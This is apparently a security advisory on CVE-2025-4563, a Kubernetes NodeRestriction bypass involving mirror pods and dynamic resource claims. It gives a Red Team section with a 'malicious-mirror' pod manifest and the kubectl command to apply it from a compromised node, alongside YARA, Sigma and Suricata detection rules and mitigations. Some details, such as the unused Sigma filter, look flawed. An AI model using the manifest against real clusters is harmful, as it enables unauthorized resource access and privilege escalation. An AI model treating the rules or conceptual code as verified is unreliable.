CVE-2025-4563

Executive Summary

CVE-2025-4563 is a vulnerability in the Kubernetes NodeRestriction admission controller, specifically affecting the DynamicResourceAllocation feature gate. The flaw allows a compromised node to bypass authorization checks during pod creation, enabling the creation of mirror pods that can access unauthorized dynamic resources. This can lead to privilege escalation within the cluster. The CVSS score is 2.7 (Low), but the impact is significant in multi-tenant or sensitive environments. No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but affects the Kubernetes core component. However, organizations using Kubernetes distributions (e.g., from cloud providers or vendors) should verify if their specific build includes the vulnerable code. The risk is primarily in self-managed clusters where the DynamicResourceAllocation feature gate is enabled.

CVSS Breakdown & Threat Level

• CVSS Score: 2.7 (Low)
• Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N
• Attack Vector: Local (requires compromised node)
• Attack Complexity: Low
• Privileges Required: High (node compromise)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Low (due to high prerequisites), but elevated in environments with untrusted workloads or multi-tenancy.

Deep Dive & Mechanics

The vulnerability resides in the NodeRestriction admission controller. When the DynamicResourceAllocation feature gate is enabled, the controller is supposed to validate that a node can only update resource claim statuses for pods it is authorized to manage. However, during pod creation (specifically when creating mirror pods), the controller fails to perform the same authorization check. This allows a compromised node to create mirror pods that reference dynamic resource claims it should not have access to.

Key Components:

• NodeRestriction Admission Controller: Restricts node actions to only those pods bound to the node.
• DynamicResourceAllocation Feature Gate: Enables dynamic allocation of resources (e.g., GPUs, network interfaces) via resource claims.
• Mirror Pods: Pods created by the kubelet to reflect static pods or other node-level workloads.

Attack Flow:

1. Attacker compromises a node (e.g., via container escape or SSH).
2. Attacker crafts a mirror pod with a spec.resourceClaims referencing a dynamic resource claim belonging to another namespace or pod.
3. The NodeRestriction controller fails to validate the resource claim authorization during pod creation.
4. The mirror pod is created, granting the node access to the unauthorized dynamic resource.
5. Attacker can then use the resource for privilege escalation or data exfiltration.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In NodeRestriction admission controller, during pod creation:
func (c *NodeRestriction) Admit(ctx context.Context, a admission.Attributes, o admission.ObjectInterfaces) error {
    // ... other checks ...
    if a.GetOperation() == admission.Create {
        // Missing authorization check for dynamic resource claims
        // Only validates pod binding, not resource claim access
    }
}

Patched Code (Expected):

func (c *NodeRestriction) Admit(ctx context.Context, a admission.Attributes, o admission.ObjectInterfaces) error {
    // ... other checks ...
    if a.GetOperation() == admission.Create {
        // Added authorization check for dynamic resource claims
        for _, claim := range pod.Spec.ResourceClaims {
            if !c.authorizer.Authorize(ctx, claim) {
                return admission.NewForbidden(a, fmt.Errorf("node not authorized for resource claim %s", claim.Name))
            }
        }
    }
}

Note: No official patch is available. The above is a logical representation of the fix.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Compromised node with kubectl access.
• DynamicResourceAllocation feature gate enabled on the cluster.
• A target dynamic resource claim (e.g., example-claim in namespace target-ns).

Exploitation Steps:

1. On the compromised node, create a malicious mirror pod manifest:

   apiVersion: v1
   kind: Pod
   metadata:
     name: malicious-mirror
     annotations:
       kubernetes.io/config.mirror: "true"
   spec:
     nodeName: <compromised-node>
     containers:
     - name: attacker
       image: alpine
       command: ["sleep", "3600"]
     resourceClaims:
     - name: example-claim
       source:
         resourceClaimName: example-claim
         resourceClaimNamespace: target-ns
   

2. Apply the manifest using kubectl:

   kubectl apply -f malicious-mirror.yaml
   

3. The pod will be created without proper authorization checks, granting access to the dynamic resource.
4. Use the resource (e.g., GPU) for further exploitation.

Blue Team

Detection:

• Monitor for mirror pods created by nodes that do not match expected static pod configurations.
• Audit logs for CREATE operations on pods with resourceClaims from nodes that should not have access.
• Enable Kubernetes audit logging and alert on:
  • user.username containing system:node:* and objectRef.resource = pods
  • responseStatus.code = 201 (Created) for pods with spec.resourceClaims

Mitigation:

• Disable the DynamicResourceAllocation feature gate if not required.
• Restrict node access via RBAC and Pod Security Standards.
• Use network policies to limit node-to-API server communication.

Indicators of Compromise (IOCs)

• Log Entries:
  • Audit log entries with user.username: system:node:<node-name> and objectRef.resource: pods and verb: create and responseStatus.code: 201 for pods with spec.resourceClaims.
• Pod Anomalies:
  • Mirror pods (kubernetes.io/config.mirror: "true") with resourceClaims referencing resources in other namespaces.
• Network Traffic:
  • Unusual API calls from nodes to create pods with dynamic resource claims.
• File System:
  • Unexpected static pod manifests in /etc/kubernetes/manifests/ on nodes.

Detection Engineering

YARA Rule

rule Detect_Malicious_Mirror_Pod_Manifest {
    meta:
        description = "Detects YAML manifests for mirror pods with unauthorized resource claims"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-4563"
    strings:
        $mirror = "kubernetes.io/config.mirror: \"true\""
        $resource_claim = "resourceClaims:"
        $claim_name = "resourceClaimName:"
    condition:
        all of them
}

Sigma Rule

title: Kubernetes Node Creating Pod with Unauthorized Resource Claim
id: 8a3f2c1e-5d7b-4a9c-8f6e-2b1d3c4e5f6a
status: experimental
description: Detects when a node creates a pod with a resource claim that may bypass NodeRestriction authorization (CVE-2025-4563)
author: Valters IT
date: 2025/04/10
logsource:
    product: kubernetes
    service: audit
detection:
    selection:
        user.username|startswith: 'system:node:'
        verb: 'create'
        objectRef.resource: 'pods'
        objectRef.subresource: null
        responseStatus.code: 201
    condition: selection
    filter:
        - objectRef.namespace: 'kube-system'
        - objectRef.namespace: 'kube-public'
falsepositives:
    - Legitimate static pod creation by kubelet
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-4563 - Kubernetes Node Creating Pod with Unauthorized Resource Claim";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/v1/namespaces/"; http_uri;
    content:"/pods"; http_uri;
    content:"resourceClaims"; http_client_body;
    content:"kubernetes.io/config.mirror"; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the DynamicResourceAllocation feature gate if not required:

   # In kube-apiserver flags
   --feature-gates=DynamicResourceAllocation=false
   

2. Restrict node permissions via RBAC to prevent creation of pods with resource claims.
3. Enable Kubernetes audit logging and monitor for suspicious pod creation events.

Long-Term Fix:

• Apply the official patch once released by the Kubernetes security team.
• Upgrade to a patched version of Kubernetes (check vendor advisories).
• Implement Pod Security Standards (Baseline or Restricted) to limit pod capabilities.

Workaround:

• Use OPA/Gatekeeper or Kyverno to deny pod creation with resourceClaims unless explicitly allowed by namespace annotations.

Valters IT